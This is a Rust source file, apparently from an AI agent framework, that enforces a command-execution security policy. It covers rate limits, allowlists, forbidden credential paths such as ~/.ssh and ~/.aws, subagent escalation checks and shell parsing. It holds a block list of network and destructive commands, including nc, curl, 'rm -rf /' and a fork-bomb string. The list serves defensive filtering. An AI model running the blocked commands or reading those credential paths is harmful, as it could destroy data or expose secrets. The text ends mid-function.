1use parking_lot::Mutex;
2use std::collections::HashMap;
3use std::path::{Path, PathBuf};
4use std::time::Instant;
5
6pub use crate::autonomy::AutonomyLevel;
8
9#[derive(Debug, Clone, Copy, PartialEq, Eq)]
11pub enum CommandRiskLevel {
12 Low,
13 Medium,
14 High,
15}
16
17#[derive(Debug, Clone, Copy, PartialEq, Eq)]
19pub enum ToolOperation {
20 Read,
21 Act,
22}
23
24#[derive(Debug)]
26pub struct ActionTracker {
27 actions: Mutex<Vec<Instant>>,
29}
30
31impl Default for ActionTracker {
32 fn default() -> Self {
33 Self::new()
34 }
35}
36
37impl ActionTracker {
38 pub fn new() -> Self {
39 Self {
40 actions: Mutex::new(Vec::new()),
41 }
42 }
43
44 pub fn record(&self) -> usize {
46 let mut actions = self.actions.lock();
47 let cutoff = Instant::now()
48 .checked_sub(std::time::Duration::from_secs(3600))
49 .unwrap_or_else(Instant::now);
50 actions.retain(|t| *t > cutoff);
51 actions.push(Instant::now());
52 actions.len()
53 }
54
55 pub fn count(&self) -> usize {
57 let mut actions = self.actions.lock();
58 let cutoff = Instant::now()
59 .checked_sub(std::time::Duration::from_secs(3600))
60 .unwrap_or_else(Instant::now);
61 actions.retain(|t| *t > cutoff);
62 actions.len()
63 }
64}
65
66impl Clone for ActionTracker {
67 fn clone(&self) -> Self {
68 let actions = self.actions.lock();
69 Self {
70 actions: Mutex::new(actions.clone()),
71 }
72 }
73}
74
75#[derive(Debug)]
91pub struct PerSenderTracker {
92 buckets: std::sync::Arc<parking_lot::Mutex<HashMap<String, ActionTracker>>>,
93}
94
95impl PerSenderTracker {
96 pub const GLOBAL_KEY: &'static str = "__global__";
98
99 pub fn new() -> Self {
101 Self {
102 buckets: std::sync::Arc::new(parking_lot::Mutex::new(HashMap::new())),
103 }
104 }
105
106 fn current_key() -> String {
108 zeroclaw_api::TOOL_LOOP_THREAD_ID
109 .try_with(|v| v.clone())
110 .ok()
111 .flatten()
112 .unwrap_or_else(|| Self::GLOBAL_KEY.to_string())
113 }
114
115 pub fn record_for_current(&self, max: u32) -> bool {
118 let key = Self::current_key();
119 self.record_within(&key, max)
120 }
121
122 pub fn record_within(&self, key: &str, max: u32) -> bool {
125 let mut buckets = self.buckets.lock();
126 let tracker = buckets.entry(key.to_string()).or_default();
127 let count = tracker.record();
128 count <= max as usize
129 }
130
131 pub fn is_limited_for_current(&self, max: u32) -> bool {
133 let key = Self::current_key();
134 self.is_exhausted(&key, max)
135 }
136
137 pub fn is_exhausted(&self, key: &str, max: u32) -> bool {
144 if max == 0 {
145 return true;
146 }
147 let mut buckets = self.buckets.lock();
148 match buckets.get_mut(key) {
149 Some(tracker) => tracker.count() >= max as usize,
150 None => false,
151 }
152 }
153}
154
155impl Clone for PerSenderTracker {
156 fn clone(&self) -> Self {
162 Self {
163 buckets: std::sync::Arc::clone(&self.buckets),
164 }
165 }
166}
167
168impl Default for PerSenderTracker {
169 fn default() -> Self {
170 Self::new()
171 }
172}
173
174#[derive(Debug, Clone)]
196pub struct SecurityPolicy {
197 pub autonomy: AutonomyLevel,
198 pub workspace_dir: PathBuf,
199 pub workspace_only: bool,
200 pub allowed_commands: Vec<String>,
201 pub forbidden_paths: Vec<String>,
202 pub allowed_roots: Vec<PathBuf>,
207 pub allowed_roots_read_only: Vec<PathBuf>,
212 pub allowed_roots_write_only: Vec<PathBuf>,
219 pub max_actions_per_hour: u32,
220 pub max_cost_per_day_cents: u32,
221 pub require_approval_for_medium_risk: bool,
222 pub block_high_risk_commands: bool,
223 pub shell_env_passthrough: Vec<String>,
224 pub shell_timeout_secs: u64,
225 pub allowed_tools: Option<Vec<String>>,
230 pub excluded_tools: Option<Vec<String>>,
234 pub auto_approve: Vec<String>,
237 pub always_ask: Vec<String>,
240 pub sandbox_enabled: Option<bool>,
243 pub sandbox_backend: Option<String>,
246 pub firejail_args: Vec<String>,
249 pub tracker: PerSenderTracker,
250}
251
252impl SecurityPolicy {
253 pub fn is_tool_allowed(&self, name: &str) -> bool {
258 let allowed = self
259 .allowed_tools
260 .as_ref()
261 .is_none_or(|list| list.iter().any(|t| t == name));
262 let excluded = self
263 .excluded_tools
264 .as_ref()
265 .is_some_and(|list| list.iter().any(|t| t == name));
266 allowed && !excluded
267 }
268}
269
270#[cfg(not(target_os = "windows"))]
272pub(crate) fn default_allowed_commands() -> Vec<String> {
273 #[allow(unused_mut)]
274 let mut cmds = vec![
275 "git".into(),
276 "npm".into(),
277 "cargo".into(),
278 "ls".into(),
279 "cat".into(),
280 "grep".into(),
281 "find".into(),
282 "echo".into(),
283 "pwd".into(),
284 "wc".into(),
285 "head".into(),
286 "tail".into(),
287 "date".into(),
288 "df".into(),
289 "du".into(),
290 "uname".into(),
291 "uptime".into(),
292 "hostname".into(),
293 "python".into(),
294 "python3".into(),
295 "pip".into(),
296 "node".into(),
297 ];
298 #[cfg(target_os = "linux")]
300 cmds.push("free".into());
301 cmds
302}
303
304#[cfg(target_os = "windows")]
309pub(crate) fn default_allowed_commands() -> Vec<String> {
310 vec![
311 "git".into(),
313 "npm".into(),
314 "cargo".into(),
315 "echo".into(),
316 "dir".into(),
318 "type".into(),
319 "findstr".into(),
320 "where".into(),
321 "more".into(),
322 "date".into(),
323 "ls".into(),
325 "cat".into(),
326 "grep".into(),
327 "find".into(),
328 "pwd".into(),
329 "wc".into(),
330 "head".into(),
331 "tail".into(),
332 "df".into(),
333 "du".into(),
334 "uname".into(),
335 "uptime".into(),
336 "hostname".into(),
337 "python".into(),
338 "python3".into(),
339 "pip".into(),
340 "node".into(),
341 ]
342}
343
344#[cfg(not(target_os = "windows"))]
346pub(crate) fn default_forbidden_paths() -> Vec<String> {
347 vec![
348 "/etc".into(),
349 "/root".into(),
350 "/home".into(),
351 "/usr".into(),
352 "/bin".into(),
353 "/sbin".into(),
354 "/lib".into(),
355 "/opt".into(),
356 "/boot".into(),
357 "/dev".into(),
358 "/proc".into(),
359 "/sys".into(),
360 "/var".into(),
361 "/tmp".into(),
362 "~/.ssh".into(),
363 "~/.gnupg".into(),
364 "~/.aws".into(),
365 "~/.config".into(),
366 ]
367}
368
369#[cfg(target_os = "windows")]
371pub(crate) fn default_forbidden_paths() -> Vec<String> {
372 vec![
373 "C:\\Windows".into(),
374 "C:\\Windows\\System32".into(),
375 "C:\\Program Files".into(),
376 "C:\\Program Files (x86)".into(),
377 "C:\\ProgramData".into(),
378 "~/.ssh".into(),
379 "~/.gnupg".into(),
380 "~/.aws".into(),
381 "~/.config".into(),
382 ]
383}
384
385fn roots_contain(roots: &[PathBuf], expanded: &Path) -> bool {
391 roots.iter().any(|root| {
392 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
393 expanded.starts_with(&canonical) || expanded.starts_with(root)
394 })
395}
396
397fn path_contains(parent: &Path, child: &Path) -> bool {
406 let canonical_parent = parent
407 .canonicalize()
408 .unwrap_or_else(|_| parent.to_path_buf());
409 let canonical_child = child.canonicalize().unwrap_or_else(|_| child.to_path_buf());
410 canonical_child.starts_with(&canonical_parent) || child.starts_with(parent)
411}
412
413#[derive(Debug, Clone, PartialEq, Eq)]
418pub enum EscalationViolation {
419 AutonomyAboveParent {
424 child: AutonomyLevel,
425 parent: AutonomyLevel,
426 },
427 ReadWriteRootNotInParent { path: PathBuf },
429 ReadOnlyRootNotInParent { path: PathBuf },
432 WriteOnlyRootNotInParent { path: PathBuf },
435 CommandNotInParent { command: String },
438 WorkspaceOnlyDisabledByChild,
441 ForbiddenPathDroppedByChild { path: String },
446 ShellEnvPassthroughExpanded { variable: String },
449 MaxActionsExceeded { child: u32, parent: u32 },
452 MaxCostExceeded { child: u32, parent: u32 },
455 ShellTimeoutExceeded { child: u64, parent: u64 },
459 BlockHighRiskCommandsDisabledByChild,
463 RequireApprovalDisabledByChild,
467}
468
469impl std::fmt::Display for EscalationViolation {
470 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
471 match self {
472 Self::AutonomyAboveParent { child, parent } => {
473 write!(f, "subagent autonomy={child:?} exceeds parent's {parent:?}")
474 }
475 Self::ReadWriteRootNotInParent { path } => write!(
476 f,
477 "subagent allowed_roots entry {path:?} is not contained within any of the parent's allowed_roots entries"
478 ),
479 Self::ReadOnlyRootNotInParent { path } => write!(
480 f,
481 "subagent allowed_roots_read_only entry {path:?} is not contained within the parent's allowed_roots or allowed_roots_read_only"
482 ),
483 Self::WriteOnlyRootNotInParent { path } => write!(
484 f,
485 "subagent allowed_roots_write_only entry {path:?} is not contained within the parent's allowed_roots or allowed_roots_write_only"
486 ),
487 Self::CommandNotInParent { command } => write!(
488 f,
489 "subagent allowed_commands entry {command:?} is not present on the parent's allowed_commands"
490 ),
491 Self::WorkspaceOnlyDisabledByChild => write!(
492 f,
493 "subagent attempts to disable workspace_only but the parent enforces it"
494 ),
495 Self::ForbiddenPathDroppedByChild { path } => write!(
496 f,
497 "subagent drops forbidden_paths entry {path:?} that the parent enforces"
498 ),
499 Self::ShellEnvPassthroughExpanded { variable } => write!(
500 f,
501 "subagent shell_env_passthrough entry {variable:?} is not present on the parent's list"
502 ),
503 Self::MaxActionsExceeded { child, parent } => write!(
504 f,
505 "subagent max_actions_per_hour={child} exceeds parent's {parent}"
506 ),
507 Self::MaxCostExceeded { child, parent } => write!(
508 f,
509 "subagent max_cost_per_day_cents={child} exceeds parent's {parent}"
510 ),
511 Self::ShellTimeoutExceeded { child, parent } => write!(
512 f,
513 "subagent shell_timeout_secs={child} exceeds parent's {parent}"
514 ),
515 Self::BlockHighRiskCommandsDisabledByChild => write!(
516 f,
517 "subagent attempts to set block_high_risk_commands=false but the parent enforces it"
518 ),
519 Self::RequireApprovalDisabledByChild => write!(
520 f,
521 "subagent attempts to set require_approval_for_medium_risk=false but the parent enforces it"
522 ),
523 }
524 }
525}
526
527impl std::error::Error for EscalationViolation {}
528
529impl Default for SecurityPolicy {
530 fn default() -> Self {
531 Self {
532 autonomy: AutonomyLevel::Supervised,
533 workspace_dir: PathBuf::from("."),
534 workspace_only: true,
535 allowed_commands: default_allowed_commands(),
536 forbidden_paths: default_forbidden_paths(),
537 allowed_roots: Vec::new(),
538 allowed_roots_read_only: Vec::new(),
539 allowed_roots_write_only: Vec::new(),
540 max_actions_per_hour: 20,
541 max_cost_per_day_cents: 500,
542 require_approval_for_medium_risk: true,
543 block_high_risk_commands: true,
544 shell_env_passthrough: vec![],
545 shell_timeout_secs: 60,
546 allowed_tools: None,
547 excluded_tools: None,
548 auto_approve: vec![],
549 always_ask: vec![],
550 sandbox_enabled: None,
551 sandbox_backend: None,
552 firejail_args: vec![],
553 tracker: PerSenderTracker::new(),
554 }
555 }
556}
557
558fn home_dir() -> Option<PathBuf> {
559 #[cfg(not(target_os = "windows"))]
560 {
561 std::env::var_os("HOME").map(PathBuf::from)
562 }
563 #[cfg(target_os = "windows")]
564 {
565 std::env::var_os("USERPROFILE")
566 .or_else(|| std::env::var_os("HOME"))
567 .map(PathBuf::from)
568 }
569}
570
571fn expand_user_path(path: &str) -> PathBuf {
572 if path == "~"
573 && let Some(home) = home_dir()
574 {
575 return home;
576 }
577
578 if let Some(stripped) = path.strip_prefix("~/")
579 && let Some(home) = home_dir()
580 {
581 return home.join(stripped);
582 }
583
584 PathBuf::from(path)
585}
586
587fn is_null_device(path: &Path) -> bool {
593 #[cfg(not(target_os = "windows"))]
594 {
595 path == Path::new("/dev/null")
596 }
597 #[cfg(target_os = "windows")]
598 {
599 let s = path.to_string_lossy();
600 let lower = s.to_ascii_lowercase();
601 lower == "nul" || lower == r"\\.\nul"
602 }
603}
604
605fn rootless_path(path: &Path) -> Option<PathBuf> {
606 let mut relative = PathBuf::new();
607
608 for component in path.components() {
609 match component {
610 std::path::Component::Prefix(_)
611 | std::path::Component::RootDir
612 | std::path::Component::CurDir => {}
613 std::path::Component::ParentDir => return None,
614 std::path::Component::Normal(part) => relative.push(part),
615 }
616 }
617
618 if relative.as_os_str().is_empty() {
619 None
620 } else {
621 Some(relative)
622 }
623}
624
625fn skip_env_assignments(s: &str) -> &str {
634 let mut rest = s;
635 loop {
636 let Some(word) = rest.split_whitespace().next() else {
637 return rest;
638 };
639 if word.contains('=')
641 && word
642 .chars()
643 .next()
644 .is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
645 {
646 rest = rest[word.len()..].trim_start();
648 } else {
649 return rest;
650 }
651 }
652}
653
654#[derive(Debug, Clone, Copy, PartialEq, Eq)]
655enum QuoteState {
656 None,
657 Single,
658 Double,
659}
660
661fn split_unquoted_segments(command: &str) -> Vec<String> {
674 let mut segments = Vec::new();
675 let mut current = String::new();
676 let mut quote = QuoteState::None;
677 let mut escaped = false;
678 let mut heredoc_delimiter: Option<String> = None;
680 let mut heredoc_line_buf = String::new();
682 let mut reading_heredoc_word = false;
684 let mut heredoc_word_buf = String::new();
685 let mut chars = command.chars().peekable();
686
687 let push_segment = |segments: &mut Vec<String>, current: &mut String| {
688 let trimmed = current.trim();
689 if !trimmed.is_empty() {
690 segments.push(trimmed.to_string());
691 }
692 current.clear();
693 };
694
695 while let Some(ch) = chars.next() {
696 match quote {
697 QuoteState::Single => {
698 if ch == '\'' {
699 quote = QuoteState::None;
700 }
701 current.push(ch);
702 }
703 QuoteState::Double => {
704 if escaped {
705 escaped = false;
706 current.push(ch);
707 continue;
708 }
709 if ch == '\\' {
710 escaped = true;
711 current.push(ch);
712 continue;
713 }
714 if ch == '"' {
715 quote = QuoteState::None;
716 }
717 current.push(ch);
718 }
719 QuoteState::None => {
720 if escaped {
721 escaped = false;
722 current.push(ch);
723 if heredoc_delimiter.is_some() {
724 heredoc_line_buf.push(ch);
725 }
726 continue;
727 }
728 if ch == '\\' {
729 escaped = true;
730 current.push(ch);
731 if heredoc_delimiter.is_some() {
732 heredoc_line_buf.push(ch);
733 }
734 continue;
735 }
736
737 if reading_heredoc_word {
739 if ch == '\n' {
740 let raw = heredoc_word_buf.trim().trim_start_matches('-');
742 let delim = raw
743 .trim_matches(|c| c == '\'' || c == '"' || c == '\\')
744 .to_string();
745 if !delim.is_empty() {
746 heredoc_delimiter = Some(delim);
747 }
748 heredoc_word_buf.clear();
749 reading_heredoc_word = false;
750 current.push(ch);
752 } else {
753 heredoc_word_buf.push(ch);
754 current.push(ch);
755 }
756 continue;
757 }
758
759 if let Some(delim) = heredoc_delimiter.as_deref() {
761 if ch == '\n' {
762 if heredoc_line_buf.trim() == delim {
763 heredoc_delimiter = None;
765 heredoc_line_buf.clear();
766 push_segment(&mut segments, &mut current);
767 } else {
768 heredoc_line_buf.clear();
769 current.push(ch);
770 }
771 } else {
772 heredoc_line_buf.push(ch);
773 current.push(ch);
774 }
775 continue;
776 }
777
778 match ch {
779 '\'' => {
780 quote = QuoteState::Single;
781 current.push(ch);
782 }
783 '"' => {
784 quote = QuoteState::Double;
785 current.push(ch);
786 }
787 ';' | '\n' => push_segment(&mut segments, &mut current),
788 '|' => {
789 if chars.next_if_eq(&'|').is_some() {
790 }
792 push_segment(&mut segments, &mut current);
793 }
794 '&' => {
795 if chars.next_if_eq(&'&').is_some() {
796 push_segment(&mut segments, &mut current);
798 } else {
799 current.push(ch);
800 }
801 }
802 '<' => {
803 current.push(ch);
804 if chars.peek() == Some(&'<') {
806 let second = chars.next().unwrap();
807 current.push(second);
808 if chars.peek() != Some(&'<') {
809 reading_heredoc_word = true;
810 }
811 }
813 }
814 _ => current.push(ch),
815 }
816 }
817 }
818 }
819
820 let trimmed = current.trim();
821 if !trimmed.is_empty() {
822 segments.push(trimmed.to_string());
823 }
824
825 segments
826}
827
828fn strip_fd_merge_redirects(command: &str) -> String {
833 use std::sync::OnceLock;
834 static FD_MERGE_RE: OnceLock<regex::Regex> = OnceLock::new();
836 let re = FD_MERGE_RE.get_or_init(|| regex::Regex::new(r"\d*[><]&[\d-]").unwrap());
837 re.replace_all(command, "").to_string()
838}
839
840fn contains_unquoted_single_ampersand(command: &str) -> bool {
843 let mut quote = QuoteState::None;
844 let mut escaped = false;
845 let mut chars = command.chars().peekable();
846
847 while let Some(ch) = chars.next() {
848 match quote {
849 QuoteState::Single => {
850 if ch == '\'' {
851 quote = QuoteState::None;
852 }
853 }
854 QuoteState::Double => {
855 if escaped {
856 escaped = false;
857 continue;
858 }
859 if ch == '\\' {
860 escaped = true;
861 continue;
862 }
863 if ch == '"' {
864 quote = QuoteState::None;
865 }
866 }
867 QuoteState::None => {
868 if escaped {
869 escaped = false;
870 continue;
871 }
872 if ch == '\\' {
873 escaped = true;
874 continue;
875 }
876 match ch {
877 '\'' => quote = QuoteState::Single,
878 '"' => quote = QuoteState::Double,
879 '&' if chars.next_if_eq(&'&').is_none() => {
882 return true;
883 }
884 _ => {}
885 }
886 }
887 }
888 }
889
890 false
891}
892
893fn contains_unquoted_char(command: &str, target: char) -> bool {
895 let mut quote = QuoteState::None;
896 let mut escaped = false;
897
898 for ch in command.chars() {
899 match quote {
900 QuoteState::Single => {
901 if ch == '\'' {
902 quote = QuoteState::None;
903 }
904 }
905 QuoteState::Double => {
906 if escaped {
907 escaped = false;
908 continue;
909 }
910 if ch == '\\' {
911 escaped = true;
912 continue;
913 }
914 if ch == '"' {
915 quote = QuoteState::None;
916 }
917 }
918 QuoteState::None => {
919 if escaped {
920 escaped = false;
921 continue;
922 }
923 if ch == '\\' {
924 escaped = true;
925 continue;
926 }
927 match ch {
928 '\'' => quote = QuoteState::Single,
929 '"' => quote = QuoteState::Double,
930 _ if ch == target => return true,
931 _ => {}
932 }
933 }
934 }
935 }
936
937 false
938}
939
940fn contains_unsafe_output_redirect(command: &str) -> bool {
943 use regex::Regex;
946 use std::sync::OnceLock;
947
948 static SAFE_OUTPUT_RE: OnceLock<Regex> = OnceLock::new();
949 let re = SAFE_OUTPUT_RE.get_or_init(|| {
950 Regex::new(&format!(
956 r"\d*>[ ]?/dev/({})(\s|[;&|)]|$)",
957 safe_device_redirect_names_pattern()
958 ))
959 .unwrap()
960 });
961
962 let safe = re.replace_all(command, "$2").to_string();
963 let safe = strip_fd_merge_redirects(&safe);
965 contains_unquoted_char(&safe, '>')
966}
967
968fn contains_unquoted_input_redirect(command: &str) -> bool {
971 use regex::Regex;
974 use std::sync::OnceLock;
975
976 static SAFE_INPUT_RE: OnceLock<Regex> = OnceLock::new();
977 let re =
978 SAFE_INPUT_RE.get_or_init(|| Regex::new(r"<[ ]?/dev/(null|zero)(\s|[;&|)]|$)").unwrap());
979
980 let safe = command.replace("<<<", "").replace("<<", "");
981 let safe = re.replace_all(&safe, "$2").to_string();
982 let safe = strip_fd_merge_redirects(&safe);
984 contains_unquoted_char(&safe, '<')
985}
986
987fn contains_unquoted_shell_variable_expansion(command: &str) -> bool {
992 let mut quote = QuoteState::None;
993 let mut escaped = false;
994 let chars: Vec<char> = command.chars().collect();
995
996 for i in 0..chars.len() {
997 let ch = chars[i];
998
999 match quote {
1000 QuoteState::Single => {
1001 if ch == '\'' {
1002 quote = QuoteState::None;
1003 }
1004 continue;
1005 }
1006 QuoteState::Double => {
1007 if escaped {
1008 escaped = false;
1009 continue;
1010 }
1011 if ch == '\\' {
1012 escaped = true;
1013 continue;
1014 }
1015 if ch == '"' {
1016 quote = QuoteState::None;
1017 continue;
1018 }
1019 }
1020 QuoteState::None => {
1021 if escaped {
1022 escaped = false;
1023 continue;
1024 }
1025 if ch == '\\' {
1026 escaped = true;
1027 continue;
1028 }
1029 if ch == '\'' {
1030 quote = QuoteState::Single;
1031 continue;
1032 }
1033 if ch == '"' {
1034 quote = QuoteState::Double;
1035 continue;
1036 }
1037 }
1038 }
1039
1040 if ch != '$' {
1041 continue;
1042 }
1043
1044 let Some(next) = chars.get(i + 1).copied() else {
1045 continue;
1046 };
1047 if next.is_ascii_alphanumeric()
1048 || matches!(
1049 next,
1050 '_' | '{' | '(' | '#' | '?' | '!' | '$' | '*' | '@' | '-'
1051 )
1052 {
1053 return true;
1054 }
1055 }
1056
1057 false
1058}
1059
1060fn strip_wrapping_quotes(token: &str) -> &str {
1061 token.trim_matches(|c| c == '"' || c == '\'')
1062}
1063
1064fn looks_like_path(candidate: &str) -> bool {
1065 candidate.starts_with('/')
1066 || candidate.starts_with("./")
1067 || candidate.starts_with("../")
1068 || candidate.starts_with('~')
1069 || candidate == "."
1070 || candidate == ".."
1071 || candidate.contains('/')
1072 || (cfg!(target_os = "windows")
1074 && (candidate
1075 .get(1..3)
1076 .is_some_and(|s| s == ":\\" || s == ":/")
1077 || candidate.starts_with("\\\\")))
1078}
1079
1080fn attached_short_option_value(token: &str) -> Option<&str> {
1081 let body = token.strip_prefix('-')?;
1086 if body.starts_with('-') || body.len() < 2 {
1087 return None;
1088 }
1089 let value = body[1..].trim_start_matches('=').trim();
1090 if value.is_empty() { None } else { Some(value) }
1091}
1092
1093enum RedirectionArgument<'a> {
1094 Target { prefix: &'a str, target: &'a str },
1095 NeedsNextToken { prefix: &'a str },
1096 FdOnly { prefix: &'a str },
1097 None,
1098}
1099
1100fn parse_redirection_argument(token: &str) -> RedirectionArgument<'_> {
1101 let Some(marker_idx) = token.find(['<', '>']) else {
1102 return RedirectionArgument::None;
1103 };
1104 let prefix = token[..marker_idx].trim();
1105 let mut rest = &token[marker_idx + 1..];
1106 rest = rest.trim_start_matches(['<', '>']);
1107 if let Some(after_amp) = rest.strip_prefix('&') {
1108 let remaining = after_amp.trim_start_matches(|c: char| c.is_ascii_digit() || c == '-');
1109 if remaining.is_empty() {
1110 return RedirectionArgument::FdOnly { prefix };
1111 }
1112 }
1113 rest = rest.trim_start_matches('&');
1114 rest = rest.trim_start_matches(|c: char| c.is_ascii_digit());
1115 let trimmed = rest.trim();
1116 if trimmed.is_empty() {
1117 RedirectionArgument::NeedsNextToken { prefix }
1118 } else {
1119 RedirectionArgument::Target {
1120 prefix,
1121 target: trimmed,
1122 }
1123 }
1124}
1125
1126const SAFE_DEVICE_REDIRECT_TARGETS: [&str; 4] =
1127 ["/dev/null", "/dev/stdout", "/dev/stderr", "/dev/zero"];
1128
1129fn safe_device_redirect_names_pattern() -> String {
1130 SAFE_DEVICE_REDIRECT_TARGETS
1131 .iter()
1132 .map(|target| target.trim_start_matches("/dev/"))
1133 .collect::<Vec<_>>()
1134 .join("|")
1135}
1136
1137fn is_safe_device_redirect_target(target: &str) -> bool {
1138 SAFE_DEVICE_REDIRECT_TARGETS.contains(&strip_wrapping_quotes(target).trim())
1139}
1140
1141fn command_basename(raw: &str) -> &str {
1144 let after_fwd = raw.rsplit('/').next().unwrap_or(raw);
1145 after_fwd.rsplit('\\').next().unwrap_or(after_fwd)
1146}
1147
1148fn strip_windows_exe_suffix(name: &str) -> &str {
1152 if cfg!(target_os = "windows") {
1153 name.strip_suffix(".exe")
1154 .or_else(|| name.strip_suffix(".cmd"))
1155 .or_else(|| name.strip_suffix(".bat"))
1156 .unwrap_or(name)
1157 } else {
1158 name
1159 }
1160}
1161
1162fn is_allowlist_entry_match(allowed: &str, executable: &str, executable_base: &str) -> bool {
1163 let allowed = strip_wrapping_quotes(allowed).trim();
1164 if allowed.is_empty() {
1165 return false;
1166 }
1167
1168 if allowed == "*" {
1170 return true;
1171 }
1172
1173 if looks_like_path(allowed) {
1176 let allowed_path = expand_user_path(allowed);
1177 let executable_path = expand_user_path(executable);
1178 return executable_path == allowed_path;
1179 }
1180
1181 if allowed == executable_base {
1185 return true;
1186 }
1187
1188 #[cfg(target_os = "windows")]
1189 {
1190 let base_lower = executable_base.to_ascii_lowercase();
1191 let allowed_lower = allowed.to_ascii_lowercase();
1192 for ext in &[".exe", ".cmd", ".bat"] {
1193 if base_lower == format!("{allowed_lower}{ext}") {
1194 return true;
1195 }
1196 if allowed_lower == format!("{base_lower}{ext}") {
1197 return true;
1198 }
1199 }
1200 }
1201
1202 false
1203}
1204
1205impl SecurityPolicy {
1206 pub fn command_risk_level(&self, command: &str) -> CommandRiskLevel {
1213 let mut saw_medium = false;
1214
1215 for segment in split_unquoted_segments(command) {
1216 let cmd_part = skip_env_assignments(&segment);
1217 let mut words = cmd_part.split_whitespace();
1218 let Some(base_raw) = words.next() else {
1219 continue;
1220 };
1221
1222 let base_owned = command_basename(base_raw).to_ascii_lowercase();
1223 let base = strip_windows_exe_suffix(&base_owned);
1224
1225 let args: Vec<String> = words.map(|w| w.to_ascii_lowercase()).collect();
1226 let joined_segment = cmd_part.to_ascii_lowercase();
1227
1228 if matches!(
1230 base,
1231 "rm" | "mkfs"
1232 | "dd"
1233 | "shutdown"
1234 | "reboot"
1235 | "halt"
1236 | "poweroff"
1237 | "sudo"
1238 | "su"
1239 | "chown"
1240 | "chmod"
1241 | "useradd"
1242 | "userdel"
1243 | "usermod"
1244 | "passwd"
1245 | "mount"
1246 | "umount"
1247 | "iptables"
1248 | "ufw"
1249 | "firewall-cmd"
1250 | "curl"
1251 | "wget"
1252 | "nc"
1253 | "ncat"
1254 | "netcat"
1255 | "scp"
1256 | "ssh"
1257 | "ftp"
1258 | "telnet"
1259 | "del"
1261 | "rmdir"
1262 | "format"
1263 | "reg"
1264 | "net"
1265 | "runas"
1266 | "icacls"
1267 | "takeown"
1268 | "powershell"
1269 | "pwsh"
1270 | "wmic"
1271 | "sc"
1272 | "netsh"
1273 ) {
1274 return CommandRiskLevel::High;
1275 }
1276
1277 if joined_segment.contains("rm -rf /")
1278 || joined_segment.contains("rm -fr /")
1279 || joined_segment.contains(":(){:|:&};:")
1280 || joined_segment.contains("del /s /q")
1282 || joined_segment.contains("rmdir /s /q")
1283 || joined_segment.contains("format c:")
1284 {
1285 return CommandRiskLevel::High;
1286 }
1287
1288 let medium = match base {
1290 "git" => args.first().is_some_and(|verb| {
1291 matches!(
1292 verb.as_str(),
1293 "commit"
1294 | "push"
1295 | "reset"
1296 | "clean"
1297 | "rebase"
1298 | "merge"
1299 | "cherry-pick"
1300 | "revert"
1301 | "branch"
1302 | "checkout"
1303 | "switch"
1304 | "tag"
1305 )
1306 }),
1307 "npm" | "pnpm" | "yarn" => args.first().is_some_and(|verb| {
1308 matches!(
1309 verb.as_str(),
1310 "install" | "add" | "remove" | "uninstall" | "update" | "publish"
1311 )
1312 }),
1313 "cargo" => args.first().is_some_and(|verb| {
1314 matches!(
1315 verb.as_str(),
1316 "add" | "remove" | "install" | "clean" | "publish"
1317 )
1318 }),
1319 "touch" | "mkdir" | "mv" | "cp" | "ln"
1320 | "copy" | "xcopy" | "robocopy" | "move" | "ren" | "rename" | "mklink" => true,
1322 _ => false,
1323 };
1324
1325 saw_medium |= medium;
1326 }
1327
1328 if saw_medium {
1329 CommandRiskLevel::Medium
1330 } else {
1331 CommandRiskLevel::Low
1332 }
1333 }
1334
1335 pub fn validate_command_execution(
1348 &self,
1349 command: &str,
1350 approved: bool,
1351 ) -> Result<CommandRiskLevel, String> {
1352 if !self.is_command_allowed(command) {
1353 return Err(format!("Command not allowed by security policy: {command}"));
1354 }
1355
1356 let risk = self.command_risk_level(command);
1357
1358 if risk == CommandRiskLevel::High {
1359 if self.block_high_risk_commands && !self.is_command_explicitly_allowed(command) {
1360 return Err("Command blocked: high-risk command is disallowed by policy".into());
1361 }
1362 if self.autonomy == AutonomyLevel::Supervised && !approved {
1363 return Err(
1364 "Command requires explicit approval (approved=true): high-risk operation"
1365 .into(),
1366 );
1367 }
1368 }
1369
1370 if risk == CommandRiskLevel::Medium
1371 && self.autonomy == AutonomyLevel::Supervised
1372 && self.require_approval_for_medium_risk
1373 && !approved
1374 {
1375 return Err(
1376 "Command requires explicit approval (approved=true): medium-risk operation".into(),
1377 );
1378 }
1379
1380 Ok(risk)
1381 }
1382
1383 fn is_command_explicitly_allowed(&self, command: &str) -> bool {
1392 let segments = split_unquoted_segments(command);
1393 for segment in &segments {
1394 let cmd_part = skip_env_assignments(segment);
1395 let mut words = cmd_part.split_whitespace();
1396 let raw_executable = strip_wrapping_quotes(words.next().unwrap_or("")).trim();
1397 let executable = if let Some(idx) = raw_executable.find(['<', '>']) {
1398 &raw_executable[..idx]
1399 } else {
1400 raw_executable
1401 };
1402 let base_cmd_owned = command_basename(executable).to_ascii_lowercase();
1403 let base_cmd = strip_windows_exe_suffix(&base_cmd_owned);
1404
1405 if base_cmd.is_empty() {
1406 continue;
1407 }
1408
1409 let explicitly_listed = self.allowed_commands.iter().any(|allowed| {
1410 let allowed = strip_wrapping_quotes(allowed).trim();
1411 if allowed.is_empty() || allowed == "*" {
1413 return false;
1414 }
1415 is_allowlist_entry_match(allowed, executable, base_cmd)
1416 });
1417
1418 if !explicitly_listed {
1419 return false;
1420 }
1421 }
1422
1423 segments.iter().any(|s| {
1425 let s = skip_env_assignments(s.trim());
1426 s.split_whitespace().next().is_some_and(|w| !w.is_empty())
1427 })
1428 }
1429
1430 pub fn is_command_allowed(&self, command: &str) -> bool {
1445 if self.autonomy == AutonomyLevel::ReadOnly {
1446 return false;
1447 }
1448
1449 let has_wildcard = self.allowed_commands.iter().any(|c| c.trim() == "*");
1454 if has_wildcard && !self.block_high_risk_commands {
1455 return true;
1456 }
1457
1458 if command.contains('`')
1464 || contains_unquoted_shell_variable_expansion(command)
1465 || command.contains("<(")
1466 || command.contains(">(")
1467 {
1468 return false;
1469 }
1470
1471 if contains_unsafe_output_redirect(command) {
1476 return false;
1477 }
1478 if contains_unquoted_input_redirect(command) {
1479 return false;
1480 }
1481
1482 if command
1485 .split_whitespace()
1486 .any(|w| w == "tee" || w.ends_with("/tee"))
1487 {
1488 return false;
1489 }
1490
1491 let ampersand_check = strip_fd_merge_redirects(command);
1496 if contains_unquoted_single_ampersand(&ersand_check) {
1497 return false;
1498 }
1499
1500 let segments = split_unquoted_segments(command);
1502 for segment in &segments {
1503 let cmd_part = skip_env_assignments(segment);
1505
1506 let mut words = cmd_part.split_whitespace();
